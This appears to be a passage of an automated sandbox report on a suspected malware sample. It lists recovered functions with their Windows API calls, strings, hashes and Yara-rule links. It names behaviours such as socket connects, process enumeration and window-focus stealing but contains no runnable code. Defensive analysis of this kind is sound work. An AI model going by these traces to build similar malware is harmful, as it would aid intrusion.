Instruction ID: 0350f7f42a539f6beb35fa9e8acc78a02fec92694f2d102bcfb759a956fbe701
Opcode Fuzzy Hash: 455a3c4f491dcfa6bb7979f320d00d15508aab506360e87e64a359a9f1d6d22d
Instruction Fuzzy Hash: 30416B72A40219AFDF218F94DC85EEF7F79EB09790F904865F912D3150C7348A60DBA0

Function 02B0FE6B Relevance: 9.1, APIs: 6, Instructions: 56memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(0000000C,00100000,00004000,?,?,?,?,02B0EE35,02B037AF), ref: 02B0FEA3
VirtualFree.KERNEL32(0000000C,00000000,00008000,?,?,?,?,02B0EE35,02B037AF), ref: 02B0FEAE
HeapFree.KERNEL32(00000000,?,?,?,?,?,02B0EE35,02B037AF), ref: 02B0FEBB
HeapFree.KERNEL32(00000000,?,?,?,?,02B0EE35,02B037AF), ref: 02B0FED7
VirtualFree.KERNEL32(?,00000000,00008000,?,?,02B0EE35,02B037AF), ref: 02B0FEF8
HeapDestroy.KERNEL32(?,?,02B0EE35,02B037AF), ref: 02B0FF0A

Memory Dump Source

Source File: 00000000.00000002.2107081174.0000000002B00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B00000, based on PE: true

Associated: 00000000.00000002.2107081174.0000000002B1B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2107081174.0000000002B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b00000_SecuriteInfo.jbxd

Similarity

API ID: Free$HeapVirtual$Destroy
String ID:
API String ID: 716807051-0
Opcode ID: 8576bd0f9e50826157df4fddcb69eefc17270f51a5709cd203d10ca64868b628
Instruction ID: 279d870b06c9fa3e7e1d6b846b46c15c18b596121c8fe34a5577858434d55976
Opcode Fuzzy Hash: 8576bd0f9e50826157df4fddcb69eefc17270f51a5709cd203d10ca64868b628
Instruction Fuzzy Hash: 4F116136A80216ABDA32DB14EC85F26BB62E740794F610C51F65967491CB71B820DB54

Function 02B8FF5F Relevance: 9.0, APIs: 6, Instructions: 50threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 02B8FF7F
GetWindowThreadProcessId.USER32(00000000,?), ref: 02B8FF9B
AttachThreadInput.USER32(00000000,00000000,00000001), ref: 02B8FFB3
SetActiveWindow.USER32(00000000), ref: 02B8FFC0
AttachThreadInput.USER32(00000000,00000000,00000000), ref: 02B8FFD8
SetForegroundWindow.USER32(00000000), ref: 02B8FFE5

Memory Dump Source

Source File: 00000000.00000002.2107192469.0000000002B70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B70000, based on PE: true

Associated: 00000000.00000002.2107192469.0000000002C27000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b70000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Thread$Window$AttachInput$ActiveCurrentForegroundProcess
String ID:
API String ID: 2544201026-0
Opcode ID: 8c9b0ec669e4ce4e892489b8c49c78833da416cffd82d746a8c1fe852a345140
Instruction ID: 0becb586d6223fbc771b8b9dbe3e3a843c2e35710fac0457c2f6e5f0940b1d8b
Opcode Fuzzy Hash: 8c9b0ec669e4ce4e892489b8c49c78833da416cffd82d746a8c1fe852a345140
Instruction Fuzzy Hash: E301A570D40208EFDF119FB0D908BAEBFF5EF0E342F909895A505EB150D77686649B54

Function 02BB2FA2 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 182networkCOMMON

Download Yara Rule

APIs

htons.WS2_32(?), ref: 02BB301E
inet_addr.WS2_32(?), ref: 02BB303C
connect.WS2_32(00000000,00000000,00000010), ref: 02BB30A4
GetLastError.KERNEL32 ref: 02BB3131

Strings

3', xrefs: 02BB313C

Memory Dump Source

Source File: 00000000.00000002.2107192469.0000000002B70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B70000, based on PE: true

Associated: 00000000.00000002.2107192469.0000000002C27000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b70000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: ErrorLastconnecthtonsinet_addr
String ID: 3'
API String ID: 441349188-280543908
Opcode ID: bd49506d57424d37acf9b412a4a695b421e5490bbd3ba884453a8d3efe5b104c
Instruction ID: 6f489d1a2b03cb69109164e1a5516ecea4bf77672d4121a5e16e9dca79fdd038
Opcode Fuzzy Hash: bd49506d57424d37acf9b412a4a695b421e5490bbd3ba884453a8d3efe5b104c
Instruction Fuzzy Hash: 93517CB5E40205AFEB00DFA8DCC0BAABBF5FF49324F1844A5E905AB341D375A950DB61

Function 02B82DD6 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 95memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,00000000,00000000,00000000), ref: 02B82E50
CreateDirectoryW.KERNEL32(00000000,00000000,00000000,00000000,00000000,-00000002,0000005C,00000000,00000000,00000000,?,00000000), ref: 02B82EC3
LocalFree.KERNEL32(00000000,00000000,?,00000000), ref: 02B82F20

Strings

\, xrefs: 02B82ED5

Memory Dump Source

Source File: 00000000.00000002.2107192469.0000000002B70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B70000, based on PE: true

Associated: 00000000.00000002.2107192469.0000000002C27000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b70000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Local$AllocCreateDirectoryFree
String ID: \
API String ID: 1918405509-2967466578
Opcode ID: 54932aa84c4698ff78d804fa0767734d73437afe70689e65f74dffb168218efa
Instruction ID: f16f554ab98ad77a7be90fa52e04c080a5110af8cd636761cdf073cbf7c1f1ab
Opcode Fuzzy Hash: 54932aa84c4698ff78d804fa0767734d73437afe70689e65f74dffb168218efa
Instruction Fuzzy Hash: 43313431C0020DEBDF00AFA0E9087EEBBB1FF09311F2084A9E51876184DB7546A4DBA9

Function 02B0D4B9 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 71windowCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 02B0D6C6
wsprintfA.USER32 ref: 02B0D6DD
MessageBoxA.USER32(00000000,?,error,00000010), ref: 02B0D727

Strings

program internal error number is %d. %s, xrefs: 02B0D6D7
error, xrefs: 02B0D71F

Memory Dump Source

Source File: 00000000.00000002.2107081174.0000000002B00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B00000, based on PE: true

Associated: 00000000.00000002.2107081174.0000000002B1B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2107081174.0000000002B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b00000_SecuriteInfo.jbxd

Similarity

API ID: wsprintf$Message
String ID: error$program internal error number is %d. %s
API String ID: 386942524-1911117719
Opcode ID: c9dde93613cf598fcee0eb7396ec95b461ca06ca0e18080126fe62cf1a4f4897
Instruction ID: a6e8045c1dd6155e4af2278194db40e04f807e70844974a465c03260d4e5f741
Opcode Fuzzy Hash: c9dde93613cf598fcee0eb7396ec95b461ca06ca0e18080126fe62cf1a4f4897
Instruction Fuzzy Hash: D721D171A442025FF721CFA4DC85FB77BA8EB85344F440958E489971C0E7B0E954CAA2

Function 02BB4D70 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 70windowCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 02BB4DD6
wsprintfA.USER32 ref: 02BB4DED
MessageBoxA.USER32(00000000,?,error,00000010), ref: 02BB4E37

Strings

program internal error number is %d. %s, xrefs: 02BB4DE7
error, xrefs: 02BB4E2F

Memory Dump Source

Source File: 00000000.00000002.2107192469.0000000002B70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B70000, based on PE: true

Associated: 00000000.00000002.2107192469.0000000002C27000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b70000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: wsprintf$Message
String ID: error$program internal error number is %d. %s
API String ID: 386942524-1911117719
Opcode ID: fb71e14d01be1e34b12bb80db47c954cec7cc128dcd64d7f40183c27a4a7dee6
Instruction ID: 218e4691b7d05b7d79bacbc43a88f76cdd8eae238d3d3ab9b88748258216800a
Opcode Fuzzy Hash: fb71e14d01be1e34b12bb80db47c954cec7cc128dcd64d7f40183c27a4a7dee6
Instruction Fuzzy Hash: 3E219F75A442006FFA269B15EC92FFB33B8FF89704F048998E98587181D7F0D994CA62

Function 02B0D7E0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 35memorywindowCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 02B0D7E9
RtlReAllocateHeap.NTDLL(01060000,00000000,?,?), ref: 02B0D806
RtlAllocateHeap.NTDLL(01060000,00000008,?), ref: 02B0D816
MessageBoxA.USER32(00000000,02B18AE8,error,00000010), ref: 02B0D82F

Strings

error, xrefs: 02B0D824

Memory Dump Source

Source File: 00000000.00000002.2107081174.0000000002B00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B00000, based on PE: true

Associated: 00000000.00000002.2107081174.0000000002B1B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2107081174.0000000002B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b00000_SecuriteInfo.jbxd

Similarity

API ID: Heap$Allocate$MessageProcess
String ID: error
API String ID: 2868346564-1574812785
Opcode ID: 09163f1b1bcfe744bf2fe3bfddb6c49ad8e1b451323f88decaf91437079e58c1
Instruction ID: 483b05d627a90e59bec78c63def3c4903862411c131ad16d7e7dc0095d54f5ca
Opcode Fuzzy Hash: 09163f1b1bcfe744bf2fe3bfddb6c49ad8e1b451323f88decaf91437079e58c1
Instruction Fuzzy Hash: CFF09076EC0302ABE6228BA0AC4DF277B68EB44B91F404C58F509931C0DB70E8108764

Function 02BB5460 Relevance: 7.7, APIs: 3, Strings: 2, Instructions: 193COMMON

Download Yara Rule

Strings

%lf, xrefs: 02BB5679
%I64d, xrefs: 02BB563C

Memory Dump Source

Source File: 00000000.00000002.2107192469.0000000002B70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B70000, based on PE: true

Associated: 00000000.00000002.2107192469.0000000002C27000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b70000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID:
String ID: %I64d$%lf
API String ID: 0-1545097854
Opcode ID: d9a9e9bd3e09a83670d1fdbb06477ee8a0d084442389f5916ce3f4b052b9652f
Instruction ID: 2af34c3b9e8a1f7cba425d9338cdfef0058d7246a93b20a08111e4287f2ae43c
Opcode Fuzzy Hash: d9a9e9bd3e09a83670d1fdbb06477ee8a0d084442389f5916ce3f4b052b9652f
Instruction Fuzzy Hash: 3151E3716443004BE73ADA649881BFB7399EF84310F944A6EEA57C2280DAF9D485C793

Function 02B0F651 Relevance: 7.6, APIs: 5, Instructions: 150COMMON

Download Yara Rule

APIs

GetStartupInfoA.KERNEL32(?), ref: 02B0F6AF
GetFileType.KERNEL32 ref: 02B0F75A
GetStdHandle.KERNEL32(-000000F6), ref: 02B0F7BD
GetFileType.KERNEL32(00000000), ref: 02B0F7CB
SetHandleCount.KERNEL32 ref: 02B0F802

Memory Dump Source

Source File: 00000000.00000002.2107081174.0000000002B00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B00000, based on PE: true

Associated: 00000000.00000002.2107081174.0000000002B1B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2107081174.0000000002B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b00000_SecuriteInfo.jbxd

Similarity

API ID: FileHandleType$CountInfoStartup
String ID:
API String ID: 1710529072-0
Opcode ID: ba9ff34bd0e1959ea0e861f0b32a2e91fb3de5ce660231433230f85f96afe869
Instruction ID: cffd970050d6f7d9296376760602aeb2a64763a3067817c5b7d61e5dd661a5b1
Opcode Fuzzy Hash: ba9ff34bd0e1959ea0e861f0b32a2e91fb3de5ce660231433230f85f96afe869
Instruction Fuzzy Hash: 3451E571B042528BD7328F68C8C47757FA1EB053A8F654AE8C5968B6D0DF30A816C752

Function 02BEF89E Relevance: 7.6, APIs: 5, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 02BEF910
_free.LIBCMT ref: 02BEF930

Memory Dump Source

Source File: 00000000.00000002.2107192469.0000000002B70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B70000, based on PE: true

Associated: 00000000.00000002.2107192469.0000000002C27000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b70000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 28f88291b83e4dc260168db8baf8a0efc17638cb316b196ea9a568a3c3c5cc6f
Instruction ID: 3c37e58c401f44ad3c0e1994edb556dbb078c1eb31f4d091ad6cd05394ef7c66
Opcode Fuzzy Hash: 28f88291b83e4dc260168db8baf8a0efc17638cb316b196ea9a568a3c3c5cc6f
Instruction Fuzzy Hash: FF41CF36A00204AFDF20DF78C980A6DB3F6EF88314B2545EAD656EB741DB31E901CB80

Function 02B117E0 Relevance: 7.6, APIs: 5, Instructions: 102memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,00002020,?), ref: 02B11801
VirtualAlloc.KERNEL32(00000000,00400000,00002000,00000004,?,00000000,02B11CAC,00000000,00000010,00000000,00000009,00000009,?,02B0F20C,00000010,00000000), ref: 02B11825
VirtualAlloc.KERNEL32(00000000,00010000,00001000,00000004,?,00000000,02B11CAC,00000000,00000010,00000000,00000009,00000009,?,02B0F20C,00000010,00000000), ref: 02B1183F
VirtualFree.KERNEL32(00000000,00000000,00008000,?,00000000,02B11CAC,00000000,00000010,00000000,00000009,00000009,?,02B0F20C,00000010,00000000,00000000), ref: 02B11900
HeapFree.KERNEL32(00000000,00000000,?,00000000,02B11CAC,00000000,00000010,00000000,00000009,00000009,?,02B0F20C,00000010,00000000,00000000,00000000), ref: 02B11917

Memory Dump Source

Source File: 00000000.00000002.2107081174.0000000002B00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B00000, based on PE: true

Associated: 00000000.00000002.2107081174.0000000002B1B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2107081174.0000000002B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b00000_SecuriteInfo.jbxd

Similarity

API ID: Virtual$AllocFreeHeap$Allocate
String ID:
API String ID: 3000792370-0
Opcode ID: 195602a0a14a19ed19a82a2c9c28412a7741d5c6d576ae963f5427ecf9459f7e
Instruction ID: 0aa5dd76201f8f96c5b76a62a0767c75ea6b91ea9bf6b51fdf61a11f0a5921ae
Opcode Fuzzy Hash: 195602a0a14a19ed19a82a2c9c28412a7741d5c6d576ae963f5427ecf9459f7e
Instruction Fuzzy Hash: DD31D071A80B059BD730CF28DC48B26B7E5FB45BD4F908AAAE269972C0D770A450CB54

Function 02B8FFF8 Relevance: 7.6, APIs: 5, Instructions: 89memoryCOMMON

Download Yara Rule

APIs

AllocConsole.KERNEL32 ref: 02B9000A
GetStdHandle.KERNEL32(FFFFFFF5), ref: 02B90026
GetStdHandle.KERNEL32(FFFFFFF6), ref: 02B9003A
SetConsoleMode.KERNEL32(?,00000000), ref: 02B900D5
SetConsoleTitleA.KERNEL32(?), ref: 02B900FD

Memory Dump Source

Source File: 00000000.00000002.2107192469.0000000002B70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B70000, based on PE: true

Associated: 00000000.00000002.2107192469.0000000002C27000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b70000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Console$Handle$AllocModeTitle
String ID:
API String ID: 2777782785-0
Opcode ID: 05e348cdd93f8ee540e686b4290e6144338df1df1e6715815fca84fd651e535a
Instruction ID: ee480db54adc0942982e3ebdf3a45e9a9394f8c5fe37e14e683f3b99d5895a7a
Opcode Fuzzy Hash: 05e348cdd93f8ee540e686b4290e6144338df1df1e6715815fca84fd651e535a
Instruction Fuzzy Hash: 82217F71E50308FFEF11AFB0CC89B9A7AB5EB0A311F1049A4FA14AB2C1D77596608F55

Function 02BEC606 Relevance: 7.6, APIs: 5, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

___vcrt_FlsGetValue.LIBVCRUNTIME ref: 02BEC622
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 02BEC63B

Memory Dump Source

Source File: 00000000.00000002.2107192469.0000000002B70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B70000, based on PE: true

Associated: 00000000.00000002.2107192469.0000000002C27000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b70000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Value___vcrt_
String ID:
API String ID: 1426506684-0
Opcode ID: 9e09e2b24cabda1f2044198fdca053d1d4fbadc70079ff5e761d3ed8e9c847af
Instruction ID: ba642f2b5e6cd9a644423d78209ca9ce827f5a1bc353508298692cb129e0b4b8
Opcode Fuzzy Hash: 9e09e2b24cabda1f2044198fdca053d1d4fbadc70079ff5e761d3ed8e9c847af
Instruction Fuzzy Hash: 6B01D4B31086716EFE153B78ACC496F2EA5EB057B572007ABF5228A0F1FF5148119658

Function 02BB7E30 Relevance: 7.5, APIs: 5, Instructions: 47windowCOMMON

Download Yara Rule

APIs

PeekMessageA.USER32(?,00000000,00000000,00000000,00000000), ref: 02BB7E4A
GetMessageA.USER32(00000000,00000000,00000000,00000000), ref: 02BB7E74
TranslateMessage.USER32(?), ref: 02BB7E7B
DispatchMessageA.USER32(?), ref: 02BB7E82
PeekMessageA.USER32(00000000,00000000,00000000,00000000,00000000), ref: 02BB7E91

Memory Dump Source

Source File: 00000000.00000002.2107192469.0000000002B70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B70000, based on PE: true

Associated: 00000000.00000002.2107192469.0000000002C27000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b70000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchTranslate
String ID:
API String ID: 1795658109-0
Opcode ID: 95f5c61344037c5fd4a5ac26d02c0eda70071896e64966d67a2ccd9657bf713a
Instruction ID: 3bf9cab2ca411e91c0c00cb4ebeb895c6a927f06040c2f891d98ce500079ed0d
Opcode Fuzzy Hash: 95f5c61344037c5fd4a5ac26d02c0eda70071896e64966d67a2ccd9657bf713a
Instruction Fuzzy Hash: A4013177680345B6E620EA54AC42FA7B79CEF84B50FA44858F740AF1C4DBB4F908C766

Function 02BF5474 Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 02BF548C
_free.LIBCMT ref: 02BF549E
_free.LIBCMT ref: 02BF54B0
_free.LIBCMT ref: 02BF54C2
_free.LIBCMT ref: 02BF54D4

Memory Dump Source

Source File: 00000000.00000002.2107192469.0000000002B70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B70000, based on PE: true

Associated: 00000000.00000002.2107192469.0000000002C27000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b70000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: e10d1fadcee0b7882636b5dc5e4b16ec0ece3cc9ccb96a2d8a65e2277bdfcb61
Instruction ID: 31aace811a9e9ebad6c9609bc6717994365efae0d29b3c6e15d7390bdfb9628a
Opcode Fuzzy Hash: e10d1fadcee0b7882636b5dc5e4b16ec0ece3cc9ccb96a2d8a65e2277bdfcb61
Instruction Fuzzy Hash: 57F06272904210ABDA71FF64E9C1C2A77DEEB003193B84886F51AEBE45C731F8804FA0

Function 02B0F54A Relevance: 7.5, APIs: 5, Instructions: 38threadCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000001,?,02B14CBF,02B13A28,?,02B1018F,?,?,00000001,00000800,02B0DDCD,00000000,?,02B10977,?,?), ref: 02B0F54C
TlsGetValue.KERNEL32(?,02B10977,?,?,?,02B103A7,00000000,?,00000000), ref: 02B0F55A
SetLastError.KERNEL32(00000000,?,02B10977,?,?,?,02B103A7,00000000,?,00000000), ref: 02B0F5A6

Part of subcall function 02B12DC3: RtlAllocateHeap.NTDLL(00000008,00000000,00000000), ref: 02B12EB9

TlsSetValue.KERNEL32(00000000,?,02B10977,?,?,?,02B103A7,00000000,?,00000000), ref: 02B0F57E
GetCurrentThreadId.KERNEL32 ref: 02B0F58F

Memory Dump Source

Source File: 00000000.00000002.2107081174.0000000002B00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B00000, based on PE: true

Associated: 00000000.00000002.2107081174.0000000002B1B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2107081174.0000000002B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b00000_SecuriteInfo.jbxd

Similarity

API ID: ErrorLastValue$AllocateCurrentHeapThread
String ID:
API String ID: 2047054392-0
Opcode ID: 13208ad36c15b502053f4f96bb849c24b458cde3e7ca0ab5cf0ada13f6f2b827
Instruction ID: 8115d5b91071376b6e86f35a68ec3109ae72241d694a8100dab3e8ab01e94560
Opcode Fuzzy Hash: 13208ad36c15b502053f4f96bb849c24b458cde3e7ca0ab5cf0ada13f6f2b827
Instruction Fuzzy Hash: EEF0B432F847229BD6326F34F84DB2E7E61EF057F1B400E99F981976C0DF2084619AA0

Function 02B11E2D Relevance: 7.5, APIs: 5, Instructions: 34COMMON

Download Yara Rule

APIs

RtlDeleteCriticalSection.NTDLL(00000000), ref: 02B11E61

Part of subcall function 02B12415: HeapFree.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,02B12E79,00000009,00000000,00000000,?,00000000,?,00000000), ref: 02B124E9

RtlDeleteCriticalSection.NTDLL ref: 02B11E7C
RtlDeleteCriticalSection.NTDLL ref: 02B11E84
RtlDeleteCriticalSection.NTDLL ref: 02B11E8C
RtlDeleteCriticalSection.NTDLL ref: 02B11E94

Memory Dump Source

Source File: 00000000.00000002.2107081174.0000000002B00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B00000, based on PE: true

Associated: 00000000.00000002.2107081174.0000000002B1B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2107081174.0000000002B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b00000_SecuriteInfo.jbxd

Similarity

API ID: CriticalDeleteSection$FreeHeap
String ID:
API String ID: 447823528-0
Opcode ID: 8c41320f81538c566dac6584fc5413a627136a7d42c1ed0ce8c7089ef548dd16
Instruction ID: 49b6b6bff2e117612d57fe9e223c1dec73c23749c75bea7c86fa4259af3db0e0
Opcode Fuzzy Hash: 8c41320f81538c566dac6584fc5413a627136a7d42c1ed0ce8c7089ef548dd16
Instruction Fuzzy Hash: 4EF0FE23E60210D6CF353A6EFC4989B7A25EBE125C7E744F5DE5863020C7515CF5D990

Function 02B7CD54 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 97timeCOMMON

Download Yara Rule

APIs

CreateWaitableTimerA.KERNEL32(00000000,00000000,00000000), ref: 02B7CE49
SetWaitableTimer.KERNEL32(00000004,00000001,00000000,00000000,00000000,00000000,?,?,?,?,?,?,02B7105C,000003E8), ref: 02B7CE70
MsgWaitForMultipleObjects.USER32(00000001,00000004,00000000,FFFFFFFF,000000FF), ref: 02B7CE92

Strings

`, xrefs: 02B7CDD4

Memory Dump Source

Source File: 00000000.00000002.2107192469.0000000002B70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B70000, based on PE: true

Associated: 00000000.00000002.2107192469.0000000002C27000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b70000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: TimerWaitable$CreateMultipleObjectsWait
String ID: `
API String ID: 365505766-1850852036
Opcode ID: 2e943aef67f6e144f6737fe09dcd7cccc537ba9ad9d0fbd405d56f15c6816e62
Instruction ID: 664e19d086e951424bb16084336601f5b499075ed38dac95b22f1e1cb2a1ad2c
Opcode Fuzzy Hash: 2e943aef67f6e144f6737fe09dcd7cccc537ba9ad9d0fbd405d56f15c6816e62
Instruction Fuzzy Hash: 33310A70D04208EFEF20DF90D8497ADBFB4EB09314F2084AAE5256A280D7759694DB92

Function 02BB4E50 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 25memorywindowCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(02BB78FC,00000008,?,?,CreateShortcut,00000000,80000004,00000000,00000000,A0000004), ref: 02BB4E59
HeapAlloc.KERNEL32(01060000,00000008,?,?,02BB78FC,00000008,?,?,CreateShortcut,00000000,80000004,00000000,00000000,A0000004), ref: 02BB4E6D
MessageBoxA.USER32(00000000,02C0FCF4,error,00000010), ref: 02BB4E86

Strings

error, xrefs: 02BB4E7B

Memory Dump Source

Source File: 00000000.00000002.2107192469.0000000002B70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B70000, based on PE: true

Associated: 00000000.00000002.2107192469.0000000002C27000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b70000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Heap$AllocMessageProcess
String ID: error
API String ID: 445856604-1574812785
Opcode ID: 8f1d5bb479d96a6a777a57c463740f38c0f762f0224343f17ff26737823b4913
Instruction ID: 8799a070367d62f1001999d1b816feb1160bfe4aa7cb02fd00d895aa34e44b97
Opcode Fuzzy Hash: 8f1d5bb479d96a6a777a57c463740f38c0f762f0224343f17ff26737823b4913
Instruction Fuzzy Hash: 9BE0D875F817216BE6369B60BC1EF9736ACBF08650F008994FA45D7240DBB1D8508B50

Function 02B10A6E Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 13libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(KERNEL32,02B0EF75), ref: 02B10A73
GetProcAddress.KERNEL32(00000000,IsProcessorFeaturePresent), ref: 02B10A83

Strings

IsProcessorFeaturePresent, xrefs: 02B10A7D
KERNEL32, xrefs: 02B10A6E

Memory Dump Source

Source File: 00000000.00000002.2107081174.0000000002B00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B00000, based on PE: true

Associated: 00000000.00000002.2107081174.0000000002B1B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2107081174.0000000002B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b00000_SecuriteInfo.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: IsProcessorFeaturePresent$KERNEL32
API String ID: 1646373207-3105848591
Opcode ID: b70ef4b2d9a48215097767c2561dfaca6a6294bdb8c05dfbe91d1a7a515240d6
Instruction ID: c94c61b93f20f17d76b374e0d5e4c236023e5209615efea1cb1bfb2d867be2d6
Opcode Fuzzy Hash: b70ef4b2d9a48215097767c2561dfaca6a6294bdb8c05dfbe91d1a7a515240d6
Instruction Fuzzy Hash: F7C01260BE0302A2FA206BB20C0EB16A648AB40A86FC4CC80B82BD30D5EF60C040E630

Function 02B7C90D Relevance: 6.4, APIs: 4, Instructions: 406processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 02B7C983
Process32Next.KERNEL32(000000FF,00000000), ref: 02B7CA37
Process32Next.KERNEL32(000000FF,00000000), ref: 02B7CBF7
CloseHandle.KERNEL32(000000FF), ref: 02B7CCC2

Memory Dump Source

Source File: 00000000.00000002.2107192469.0000000002B70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B70000, based on PE: true

Associated: 00000000.00000002.2107192469.0000000002C27000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b70000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: NextProcess32$CloseCreateHandleSnapshotToolhelp32
String ID:
API String ID: 1175704045-0
Opcode ID: c3e02f77c570d967e4e4cc252d466ee0bf836c5182d15f06515ada5490377e28
Instruction ID: 67ea759f3803df0f8a2750a5505429fe38e9c2bf0e411a2203816931c8910181
Opcode Fuzzy Hash: c3e02f77c570d967e4e4cc252d466ee0bf836c5182d15f06515ada5490377e28
Instruction Fuzzy Hash: A5D119B1A402469FEB00CFA8DCC0BA9BBF5EF59324F290475D506AB340D378B961CB61

Function 02BA6BB8 Relevance: 6.4, APIs: 4, Instructions: 351COMMON

Download Yara Rule

APIs

RtlMoveMemory.KERNEL32(?,00000000,0000000C,00000000,00000000,00000001,?,?,00000000,02C0F8C7,02C0F8C7), ref: 02BA6D45

Memory Dump Source

